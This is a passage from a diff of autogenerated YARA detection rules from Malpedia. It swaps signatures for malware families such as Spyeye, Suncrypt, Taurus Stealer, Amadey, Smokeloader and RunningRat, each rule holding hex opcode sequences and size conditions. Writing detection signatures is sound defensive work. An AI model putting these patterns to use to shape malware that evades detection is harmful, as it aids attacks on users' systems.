660f6fac24d0010000 660ffeac24d0000000 660f6fb424a0010000 } + $sequence_6 = { 4156 4157 4883ec50 488b7128 4c8d25880c0000 33ed 488bf9 } + $sequence_7 = { 488945e0 895128 488d0d332f0300 488b45d8 488908 488d0d950a0500 488b45d8 } + $sequence_8 = { 0fb68c2490000000 4c8d0501350300 4803da 4883f101 4803d9 482bfb 488bcb } + $sequence_9 = { ff15???????? 4885c0 7411 488bc8 ff15???????? 3bc6 0f84eb040000 } condition: - 7 of them and filesize < 1458176 + 7 of them and filesize < 1265664 } -rule MALPEDIA_Win_Spyeye_Auto : FILE +rule MALPEDIA_Win_Suncrypt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b5e5088a-e300-5034-889b-970db77fc21d" + id = "7f081e6a-91fb-536b-b660-2da418a7ac6f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spyeye_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.suncrypt_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "eb40febb6f1c9817c33c9124c37ea30f926a02c0c70087f7a1361d98282ccb0d" + logic_hash = "25c1a2f4bf5a2bd511d08d2068ef5b4858a377d650c7c729810ab075898356ca" score = 75 quality = 75 tags = "FILE" @@ -120262,32 +120318,32 @@ rule MALPEDIA_Win_Spyeye_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 740e 837dfcff 7408 ff75fc } - $sequence_1 = { 8b65fc c9 c20800 55 8bec } - $sequence_2 = { 56 6880000000 6a04 56 6a07 6800000040 57 } - $sequence_3 = { ff7508 ffd0 8b65fc c9 c21400 55 8bec } - $sequence_4 = { ff750c e8???????? 8bd8 83fbff 751b 57 } - $sequence_5 = { 837dfcff 7408 ff75fc e8???????? 3bdf } - $sequence_6 = { 740a 83e0fe 50 57 } - $sequence_7 = { 6a02 eb08 56 6880000000 6a04 } - $sequence_8 = { 6a03 57 6a01 56 ff750c e8???????? } - $sequence_9 = { 50 e8???????? 85c0 7454 57 56 } + $sequence_0 = { 33d2 c68518ffffff6e c68519ffffff64 c6851affffff13 c6851bffffff2d c6851cffffff28 c6851dffffff28 } + $sequence_1 = { 0fbec0 33c1 884415c8 42 83fa1c 72e9 8d4dc8 } + $sequence_2 = { 6a00 6a00 6a00 6a00 ff35???????? be00310884 c745e000010000 } + $sequence_3 = { 0405 83f031 8845f9 8b45f0 0406 83f02e 8845fa } + $sequence_4 = { 8bec 8a5508 80fa2c 7446 a0???????? b9???????? 84c0 } + $sequence_5 = { ff15???????? 8bf0 85f6 742a 83feff 7425 8d45e8 } + $sequence_6 = { 8b7308 83c140 8b7da0 894df4 8b4df0 eb7e } + $sequence_7 = { 0f28dc 660ffe9df0fdffff 0f28c3 660fef45a0 0f28c8 660f72f00c 660f72d114 } + $sequence_8 = { 83fa11 72e8 ff7510 8d45ec 885dfd ff750c } + $sequence_9 = { 8bc3 85c9 7411 660f1f440000 803800 740b 47 } condition: - 7 of them and filesize < 741376 + 7 of them and filesize < 172032 } -rule MALPEDIA_Win_Hazy_Load_Auto : FILE +rule MALPEDIA_Win_Corebot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "24c66e7b-2677-5514-927b-1f5ec58947dd" + id = "de56ab56-9ec7-5235-bd26-8fc91d55de2c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hazy_load" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hazy_load_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.corebot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.corebot_auto.yar#L1-L168" license_url = "N/A" - logic_hash = "689a5f8205a52a844de3b9ea93f7ac4cdf01c931efdc00759c5c614c1c72cb27" + logic_hash = "7aa9c17958ef7c5a98a9be16ab271931413c5066734bfef2ec6f0b99a977cc0f" score = 75 quality = 75 tags = "FILE" @@ -120301,32 +120357,38 @@ rule MALPEDIA_Win_Hazy_Load_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d542420 442bc7 4803d0 4533c9 } - $sequence_1 = { 33d2 488bc8 4c8bf8 e8???????? 4c8bc6 41893f 498d4f08 } - $sequence_2 = { 488d35c3aa0100 eb16 488b3b 4885ff } - $sequence_3 = { 418be9 48c1f806 488d0db8200100 4183e23f } - $sequence_4 = { 4883ec20 8bd9 4c8d0d09c60000 b904000000 4c8d05f5c50000 488d15aeb20000 } - $sequence_5 = { 0f848d010000 83cfff 488d2ddf120100 83635000 83632c00 e9???????? } - $sequence_6 = { 0fb64201 84c0 744d 0fbec8 83e968 } - $sequence_7 = { 83fb08 7cd5 83fb08 0f8522010000 } - $sequence_8 = { 4883ec20 488d3d93690100 48393d???????? 742b } - $sequence_9 = { ff15???????? 48832300 4883c308 488d0551d50100 } + $sequence_0 = { 8b7df0 8d55f0 e8???????? 85c0 7411 837df000 } + $sequence_1 = { c7411407000000 8d4910 89c6 01c0 c1ee07 } + $sequence_2 = { 8932 5e c3 31c0 ebfa 55 89e5 } + $sequence_3 = { 8a1c08 84db 741c 01c8 } + $sequence_4 = { 8b06 85c0 743d 8b4e04 85c9 751a 83c604 } + $sequence_5 = { 50 ff15???????? 85c0 7418 8b0e 6a00 ff750c } + $sequence_6 = { 894dd8 b907000000 0fb618 895de8 } + $sequence_7 = { 85c0 894dec 7405 8b55e8 eb2c 8b45dc } + $sequence_8 = { e8???????? 807e5800 7509 ff7654 ff15???????? 807e5000 7509 } + $sequence_9 = { ff7010 ff7014 e8???????? 8b45e0 } + $sequence_10 = { eb10 6800800000 6a00 56 } + $sequence_11 = { ff15???????? 8d4634 50 ff15???????? 8d4e0c e8???????? } + $sequence_12 = { ff15???????? 807e5000 7509 ff764c ff15???????? 8d4634 50 } + $sequence_13 = { 85ff 740f 57 ff7508 } + $sequence_14 = { ff742428 e8???????? 8b442424 8d4c2410 } + $sequence_15 = { 85c0 7515 8b4624 3b4620 } condition: - 7 of them and filesize < 315392 + 7 of them and filesize < 1302528 } -rule MALPEDIA_Win_Victorygate_Auto : FILE +rule MALPEDIA_Win_Chainshot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad2b94f4-4fb4-597c-a815-1680fdce8561" + id = "c772e981-fe05-5ad7-89cb-7e4d2195fea3" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.victorygate" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.victorygate_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chainshot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chainshot_auto.yar#L1-L115" license_url = "N/A" - logic_hash = "f881de762583581b8f9cd5a6d8f43db0e0fda7800670c3d8d7443132f914f29e" + logic_hash = "d57daacb16b1510f9da9be332e06c34916e951db79264a72675c1b37600885e5" score = 75 quality = 75 tags = "FILE" @@ -120340,32 +120402,32 @@ rule MALPEDIA_Win_Victorygate_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 8bd0 c645fc08 8d8d68ffffff e8???????? c645fc07 } - $sequence_1 = { ff75f8 8d8684010000 6a45 50 ff15???????? 85c0 } - $sequence_2 = { c645dc00 33d2 660fd645e4 8d4ddc e8???????? 68???????? 8d4dc4 } - $sequence_3 = { ff36 8bcf 50 e8???????? 8b4e08 83c334 83c634 } - $sequence_4 = { 8d4dc4 c645fc10 e8???????? 0fb64ddc 8bf8 8b45e4 8a17 } - $sequence_5 = { 56 682a2b0000 ffd0 85c0 7419 50 e8???????? } - $sequence_6 = { 50 ff7120 ff7128 e8???????? 83c410 85c0 7415 } - $sequence_7 = { 8b45f0 8d0c90 8b01 85c0 740d 395804 7408 } - $sequence_8 = { e8???????? 68???????? 8d4dc4 c645fc07 e8???????? 0fb64ddc 8bf8 } - $sequence_9 = { 668908 8bcf c7401000000000 c7401407000000 8d45b0 50 660fd645c0 } + $sequence_0 = { ffc9 7433 ffc9 7438 ffc9 742b ffc9 } + $sequence_1 = { 7427 83e803 0f844a110000 83f802 0f857b0f0000 } + $sequence_2 = { 7708 7519 66892c5e eb13 66892c5e bf7a000780 eb08 } + $sequence_3 = { eb23 8b4520 8906 eb1c b90b000080 eb05 } + $sequence_4 = { 83c705 c7041f4c8b4424 c6441f0418 83c705 c7041f4c8b4c24 } + $sequence_5 = { e8???????? 89442420 85c0 7826 } + $sequence_6 = { ffd0 8905???????? b90b000080 894c2420 e9???????? } + $sequence_7 = { 747a ffc8 7461 83e802 } + $sequence_8 = { 7408 ffd1 8905???????? b84b000080 } + $sequence_9 = { 0f8599000000 c705????????0b000000 e9???????? b902000000 } condition: - 7 of them and filesize < 1209344 + 7 of them and filesize < 802816 } -rule MALPEDIA_Win_Mongall_Auto : FILE +rule MALPEDIA_Win_Neteagle_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "084e4b5d-8f53-5615-8d00-9dc87d5afd58" + id = "32895ae7-ce57-521b-b8af-c26cb59a6de4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mongall_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neteagle_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "a7343b890bc7cfe685e1d8a81a17e49736fde69b19000c5c5f4d58892316ec5a" + logic_hash = "cd9004d8f3e934bcdc5c7488fb3dbf59ca59052c62f38c8a57dd749c0498c5bb" score = 75 quality = 75 tags = "FILE" @@ -120379,34 +120441,34 @@ rule MALPEDIA_Win_Mongall_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 75ef 57 bf???????? e8???????? 6a7f } - $sequence_1 = { 57 8bc2 c1f805 8b0485603f4100 8bfa 83e71f c1e706 } - $sequence_2 = { 83c404 5e b801000000 5b c3 83f806 7543 } - $sequence_3 = { 83c40c 8bdf 895df4 85c0 } - $sequence_4 = { ff15???????? 85f6 7413 6a00 6a00 6a00 } - $sequence_5 = { 85f6 7fdf eb07 838de4fdffffff 83bdccfdffff00 8b9de0fdffff 7457 } - $sequence_6 = { c745fc00000000 8b7df8 85ff 7509 } - $sequence_7 = { c745fc00000000 8b7df8 85ff 7509 5f 5e } - $sequence_8 = { 0fbe8028e24000 83e00f eb02 33c0 } - $sequence_9 = { 33c9 68???????? 51 6a03 } + $sequence_0 = { 8b86040c0000 40 8d0c40 c704ce02000000 e9???????? 8b54242c } + $sequence_1 = { 8b4c241c 52 53 50 51 ff15???????? 85c0 } + $sequence_2 = { 8b461c 85c0 0f849e010000 8bce e8???????? 85c0 0f848f010000 } + $sequence_3 = { 8bf8 6804010000 897c2424 c744242804010000 c744242c01000000 e8???????? 8b8c2464010000 } + $sequence_4 = { 8b4b24 03c8 89542901 8b4b24 8b542438 03c8 89542905 } + $sequence_5 = { 6a17 50 8bcb e8???????? 8d4da0 6a0f 8d55e0 } + $sequence_6 = { e8???????? 8b470c 83c604 8b0430 85c0 75e1 33f6 } + $sequence_7 = { a1???????? 83f801 7f82 5f 5e 5b 8b4dfc } + $sequence_8 = { 68???????? 52 ffd5 83c408 8d4c2440 85c0 0f94c3 } + $sequence_9 = { 894d98 8b8de4feffff 89559c 8945a0 8d95e8feffff 6a64 8d45d8 } condition: - 7 of them and filesize < 199680 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE +rule MALPEDIA_Win_Amadey_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b1a1c877-dafe-5bd8-aa9e-f033e2a7d793" + id = "1f098ad5-f3e6-509c-99f1-f0cffd69c9f4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taurus_stealer_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.amadey_auto.yar#L1-L210" license_url = "N/A" - logic_hash = "45f5adaf95071a60a27cbbf5888b0c101a82ad499a857b2070bb83a96bceb96f" + logic_hash = "fb6578b6e50d377be8fb88ae4d5eeeb58ec3e463dc3822773f271e1c55398ad5" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -120418,32 +120480,43 @@ rule MALPEDIA_Win_Taurus_Stealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0f9445d1 e8???????? 668945d2 8d4d94 8b45c4 8db778020000 3b45c8 } - $sequence_1 = { 8d45d0 50 8d45f4 50 e8???????? 50 8d45b8 } - $sequence_2 = { 8bce e8???????? 8bd0 c745f829674844 b129 c745fc4c130900 33c0 } - $sequence_3 = { 50 8d85c0feffff 50 8d4dcb e8???????? 8b85c4feffff 8d8d40ffffff } - $sequence_4 = { 33c0 304c05ed 40 83f806 7305 8a4dec } - $sequence_5 = { e8???????? 8bd0 c744242f74271706 6a07 58 88442436 b174 } - $sequence_6 = { f7c300200000 7414 81e3ffdfffff 8d8d04ffffff 895df8 e8???????? } - $sequence_7 = { 57 ffd0 8bf8 897d0c 83ffff 746f 8b9530ffffff } - $sequence_8 = { c1fa06 8bc7 83e03f 6bc838 8b049578c14300 f644082801 7421 } - $sequence_9 = { c74654c3280308 c7465881120d0e c7465ce58b8009 c74660d5208b07 c74664359ac202 c74668f19ad809 c7466ca13ba208 } + $sequence_0 = { 5b 8be5 5d c3 5f c6040e00 8bc6 } + $sequence_1 = { 57 ff15???????? 85c0 75d9 bb01000000 } + $sequence_2 = { 68???????? eb42 e8???????? 83f801 7431 e8???????? } + $sequence_3 = { 83ec18 8bcc 68???????? e8???????? 8d4db4 } + $sequence_4 = { 8a0402 88040f 41 8b7dfc 8d4201 } + $sequence_5 = { 68???????? e8???????? 8d4dcc e8???????? 83c418 } + $sequence_6 = { 0f434d20 40 50 52 6a02 6a00 51 } + $sequence_7 = { 83f811 7413 e8???????? 83f812 7409 6a01 68???????? } + $sequence_8 = { 68???????? e8???????? 8d4d98 e8???????? 83c418 } + $sequence_9 = { 8b8d78feffff 42 8bc1 81fa00100000 7214 } + $sequence_10 = { 83fa10 722f 8b8d78feffff 42 } + $sequence_11 = { 8b85f49fffff 40 89442404 8d85f8bfffff 890424 e8???????? } + $sequence_12 = { 8d55c8 89442404 891424 e8???????? 85c0 7523 } + $sequence_13 = { c745fc05000000 c70424???????? e8???????? 890424 e8???????? 84c0 } + $sequence_14 = { 8d85d8fdffff 890424 e8???????? e8???????? 89442404 } + $sequence_15 = { 89e5 b828200000 e8???????? 817d08???????? 0f84be000000 } + $sequence_16 = { e8???????? 8b45dc 890424 e8???????? 83ec04 } + $sequence_17 = { c745fc0c000000 8b45fc c9 c3 } + $sequence_18 = { 55 89e5 81ec48040000 e8???????? 89c2 c744241c00020000 8d85f8fbffff } + $sequence_19 = { 56 57 8b3d???????? 83ec18 } + $sequence_20 = { 722f 8b8d60feffff 42 8bc1 } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 908288 } -rule MALPEDIA_Win_Cueisfry_Auto : FILE +rule MALPEDIA_Win_Vanhelsing_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "0fc68627-9787-5873-a3fa-a9f7712605ab" + id = "02fe503d-2dc7-525c-81f0-efaa387cf55b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cueisfry_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vanhelsing" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vanhelsing_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "c43c2b52de01a945341ae2efff0ffdd3edf0dcb4158573a62c18b687e85e4c2e" + logic_hash = "88005107b8dd0aed04a916a851d1dfdd2e8ac36a0ef3ce82f006aaa16cb30fa5" score = 75 quality = 75 tags = "FILE" @@ -120457,32 +120530,32 @@ rule MALPEDIA_Win_Cueisfry_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 68???????? e8???????? 8d8c24b8050000 68???????? 51 } - $sequence_1 = { 7517 8d8c24b0010000 68???????? 51 e8???????? } - $sequence_2 = { c3 81ec24030000 a1???????? 8b0d???????? } - $sequence_3 = { 8dbc2435010000 c684243401000000 68???????? f3ab 66ab 8d8c2438010000 51 } - $sequence_4 = { 8bee 33ff 85c9 89542430 896c2410 0f8ebd010000 8d4103 } - $sequence_5 = { b940000000 33c0 8dbc2435010000 c684243401000000 } - $sequence_6 = { 6aff 68???????? 64a100000000 50 64892500000000 81eca8070000 } - $sequence_7 = { 68???????? f3a5 50 e8???????? 8d4c2424 } - $sequence_8 = { 68???????? 50 c744242401000000 c744242000010000 } - $sequence_9 = { 51 8d442420 8bcc 89642430 50 c68424c401000003 } + $sequence_0 = { 5d c3 55 8bec 81ec9c000000 8b450c 53 } + $sequence_1 = { 8b4518 0f1000 0f1145cc 0f104010 8b01 8b4904 8945ec } + $sequence_2 = { 660f380035???????? 0f57c8 660f38000d???????? 0f29b520ffffff 0f294df0 0f28c6 660fd4c3 } + $sequence_3 = { 8b45e4 8b048598485600 8b4de0 f644082801 7515 e8???????? c70009000000 } + $sequence_4 = { 85c9 7410 8a80b4d44800 8806 46 41 897590 } + $sequence_5 = { 6a00 6a00 6800000008 ff15???????? 6a03 6a00 6a00 } + $sequence_6 = { 888570fbffff 240f 884580 8a06 888571fbffff 240f 884581 } + $sequence_7 = { 039d48ffffff 8b4dc8 138de8feffff 039df0feffff 898530ffffff 8bc3 138ddcfeffff } + $sequence_8 = { 7f4f 8d4608 50 8d85d8fbffff 68???????? 50 e8???????? } + $sequence_9 = { 0fb6cb c1e803 83e107 0fb67405dc 8d8514ffffff d3ee 83e601 } condition: - 7 of them and filesize < 81920 + 7 of them and filesize < 2981888 } -rule MALPEDIA_Win_Guidloader_Auto : FILE +rule MALPEDIA_Win_Hotcroissant_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eceb0420-babc-5550-b00f-55949b1733ed" + id = "83ef5f77-5617-5f2c-aab4-e7c78e791ad8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.guidloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.guidloader_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotcroissant_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "909d36bb63fb6009cd4cb0cf7912a67325d3ddd81af65c11026fd36fda233963" + logic_hash = "dce551f3abb53b003bc43a41a6cd9ea09bb62dbd64ab9e901fd3bd3c6af24937" score = 75 quality = 75 tags = "FILE" @@ -120496,32 +120569,32 @@ rule MALPEDIA_Win_Guidloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 498bd4 e8???????? 837d1000 0f8659020000 44896c2428 488d5510 4c8bcf } - $sequence_1 = { 4d2bc8 418b51fc d3ea 4c894808 895018 410fb609 } - $sequence_2 = { 83f802 7711 488b4228 49394128 418b08 0f44cf } - $sequence_3 = { e8???????? 4533c0 4c8d0dcd72ffff 498b5508 0fb60a 83e10f 4a0fbe840920460100 } - $sequence_4 = { 4c8d442448 488d1532700000 33c9 ff15???????? 488b4c2448 85c0 } - $sequence_5 = { 418807 4c852e 764f ba30000000 49b80000000000000f00 6666660f1f840000000000 488b06 } - $sequence_6 = { 4889442460 4863842420010000 4889442468 0fb6842440010000 0f298c2480000000 0f280d???????? } - $sequence_7 = { 898c9564010000 49c1e820 453bcd 75d6 4585c0 742e 8b8560010000 } - $sequence_8 = { 410f1006 0f11442430 e9???????? 488bfe 4883cf0f 483bfb 7629 } - $sequence_9 = { 894208 f6c310 740a 418b02 4983c204 89420c 807c243000 } + $sequence_0 = { 52 6a00 68703a0000 6a00 } + $sequence_1 = { 6a00 c705????????00000000 ff15???????? 6a00 } + $sequence_2 = { 52 50 6a08 ff15???????? 50 ff15???????? 85c0 } + $sequence_3 = { ffd6 6800040000 68???????? 68???????? 68???????? ffd6 } + $sequence_4 = { 6a01 50 ff15???????? a1???????? 8b35???????? 50 ffd6 } + $sequence_5 = { 8b15???????? 33c0 52 a3???????? a3???????? a3???????? } + $sequence_6 = { 8b15???????? 52 ffd6 893d???????? } + $sequence_7 = { 56 57 683f000f00 33db 53 53 ff15???????? } + $sequence_8 = { ffd7 807c30ff5c 8b1d???????? 740a } + $sequence_9 = { 8b15???????? 33c0 52 a3???????? a3???????? } condition: - 7 of them and filesize < 49251328 + 7 of them and filesize < 591872 } -rule MALPEDIA_Win_Photolite_Auto : FILE +rule MALPEDIA_Win_Shady_Hammock_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53c3df95-9bf0-54a3-a4f4-6196a8124e14" + id = "dffdbcb2-bd98-5c78-b119-218bf0b8f1f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photolite_auto.yar#L1-L167" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shady_hammock" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shady_hammock_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "f9046ee3a914a22a767c3824ddb8832f1006b7774a4b79556e164865f1d4f92c" + logic_hash = "eb81523b23e33f9ac426471f12cb50726588d21942b2b73e8ff2883c6fa0b314" score = 75 quality = 75 tags = "FILE" @@ -120535,40 +120608,34 @@ rule MALPEDIA_Win_Photolite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883f905 72e4 889db4010000 ba7e32f11a c785b801000035578374 } - $sequence_1 = { 4803cf 493bce 72e8 889d2c010000 c78530010000d857fc49 } - $sequence_2 = { c785e4020000b434516d c785e8020000813e467c c785ec02000097355758 c785f00200008022253d } - $sequence_3 = { 4c897020 55 488da858f9ffff 4881eca0070000 33db } - $sequence_4 = { c78568040000bb4e5450 c7856c040000a94d1c35 8b8560040000 8a855c040000 } - $sequence_5 = { c78530060000a8eeaa04 c78534060000a8fbc56a 8b8520060000 8a851c060000 } - $sequence_6 = { 72e8 889dd0030000 baff978142 c785d403000094f2f32c c785d80300009afbb270 c785dc030000d1f3ed2e } - $sequence_7 = { c74548ba572c54 8b4540 8a453c 84c0 7518 } - $sequence_8 = { 4885c0 0f8419010000 488b15???????? 4885d2 7517 ba01000000 33c9 } - $sequence_9 = { 488bcb 0f1f4000 66660f1f840000000000 8b448c24 35e6845659 } - $sequence_10 = { 41b8956927f2 e8???????? 488d4dd0 ffd0 b001 } - $sequence_11 = { 0f114020 0f104a30 0f114830 488b05???????? } - $sequence_12 = { 488d4c2430 41ffd0 85c0 7527 8b442420 2b442428 03442424 } - $sequence_13 = { 488d85a0010000 448838 488d4001 4883eb01 75f3 41b001 488d8da0010000 } - $sequence_14 = { 4d8d0480 0fb602 83e107 410200 41320429 } - $sequence_15 = { e8???????? b9100e0000 ffd0 488d95f0030000 4489bdf0030000 488d0d72aaffff e8???????? } + $sequence_0 = { 7203 488b01 488d0c10 488bfe 492bf9 4c8bc7 } + $sequence_1 = { 488bcd e8???????? 498d5701 41c6042c00 4881fa00100000 7218 } + $sequence_2 = { e8???????? 4c8b5368 488d4d2f 48837d4710 0f93c2 480f434d2f 4c8b4d3f } + $sequence_3 = { 3bc7 0f843e010000 0fb6f8 e9???????? 0f57c0 } + $sequence_4 = { 7453 488b5318 4883fa10 7205 488b0b } + $sequence_5 = { 0bc1 89442408 0fae542408 c3 488bc4 53 } + $sequence_6 = { 747e 8b82b0000000 4803c8 4903c9 4a8d1408 } + $sequence_7 = { 4883781810 7203 488b00 41b80a000000 488bd0 488bcf e8???????? } + $sequence_8 = { eb2c 498bcf 488bc3 48d1e9 } + $sequence_9 = { 48895c2408 4889742410 48897c2418 488bd9 4c8bc9 482b5a30 } condition: - 7 of them and filesize < 99328 + 7 of them and filesize < 635904 } -rule MALPEDIA_Win_Smokeloader_Auto : FILE +rule MALPEDIA_Win_Runningrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "112e04c3-8f0e-5c11-855c-ae74057a323a" + id = "d7ed2390-7d31-581c-a1e4-fdb77337ca48" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smokeloader_auto.yar#L1-L575" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.runningrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.runningrat_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "527784088a3890e68087680c97defe31324facf44f4c2545f19c39a5e952f5fd" + logic_hash = "4ddbc260dd07c2863631004b7f152c53ea1c57a6d19004876f01cbe090f0559f" score = 75 - quality = 44 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -120580,87 +120647,37 @@ rule MALPEDIA_Win_Smokeloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 8d45f0 50 8d45e8 50 8d45e0 50 } - $sequence_1 = { 50 6a00 53 ff15???????? 8d45f0 50 } - $sequence_2 = { ff15???????? 8bf0 8d45dc 50 6a00 53 } - $sequence_3 = { 57 ff15???????? 6a00 6800000002 6a03 } - $sequence_4 = { 50 8d45e0 50 56 ff15???????? 56 ff15???????? } - $sequence_5 = { 740a 83c104 83f920 72f0 } - $sequence_6 = { e8???????? 8bf0 8d45fc 50 ff75fc 56 6a19 } - $sequence_7 = { 0fb64405dc 50 8d45ec 50 } - $sequence_8 = { 50 56 681f000f00 57 } - $sequence_9 = { ff15???????? bf90010000 8bcf e8???????? } - $sequence_10 = { 56 8d45fc 50 57 57 6a19 ff75f8 } - $sequence_11 = { 6800a00f00 50 a3???????? ff15???????? } - $sequence_12 = { 7507 33c0 e9???????? e8???????? b904010000 } - $sequence_13 = { 668ce8 6685c0 7406 fe05???????? } - $sequence_14 = { 56 ff15???????? 50 56 6a00 ff15???????? } - $sequence_15 = { 8b07 03c3 50 ff15???????? } - $sequence_16 = { 03c8 81e1ff000000 8a440c18 30042b 43 3b9c241c010000 } - $sequence_17 = { 8bc3 c745ec25303258 885df0 8945fc } - $sequence_18 = { ffb43108010000 8b84310c010000 03c7 50 8b843104010000 03c5 } - $sequence_19 = { 50 53 e8???????? 8d8decfdffff 8d95f0fdffff c70200000000 6800800000 } - $sequence_20 = { 8db5f8fdffff c60653 56 6a00 } - $sequence_21 = { 8985ecfdffff ffb5f0fdffff 50 53 } - $sequence_22 = { 8d85f0fdffff 8b750c 8b7d10 50 57 56 } - $sequence_23 = { 89c6 6804010000 56 57 } - $sequence_24 = { 31c0 66894603 8d8de8fdffff 50 50 } - $sequence_25 = { 50 50 50 51 50 50 56 } - $sequence_26 = { e8???????? 2500300038 005800 2500300038 } - $sequence_27 = { fc 5f 5e 5b } - $sequence_28 = { 89c6 89cf fc b280 31db a4 } - $sequence_29 = { 30d0 aa e2f3 7505 } - $sequence_30 = { 89e5 81ec5c060000 53 56 } - $sequence_31 = { 01c2 31c0 ac 01c2 } - $sequence_32 = { e8???????? 41b919000200 4533c0 4c8bf0 488d4540 } - $sequence_33 = { 4c8d4580 488b01 33d2 ff5060 } - $sequence_34 = { 48895c2418 48897c2420 89542410 55 488bec 4883ec60 488bf9 } - $sequence_35 = { 8b7b24 4c 01c7 668b0c4f 41 8b7b1c 4c } - $sequence_36 = { ac 01c2 85c0 75f0 } - $sequence_37 = { 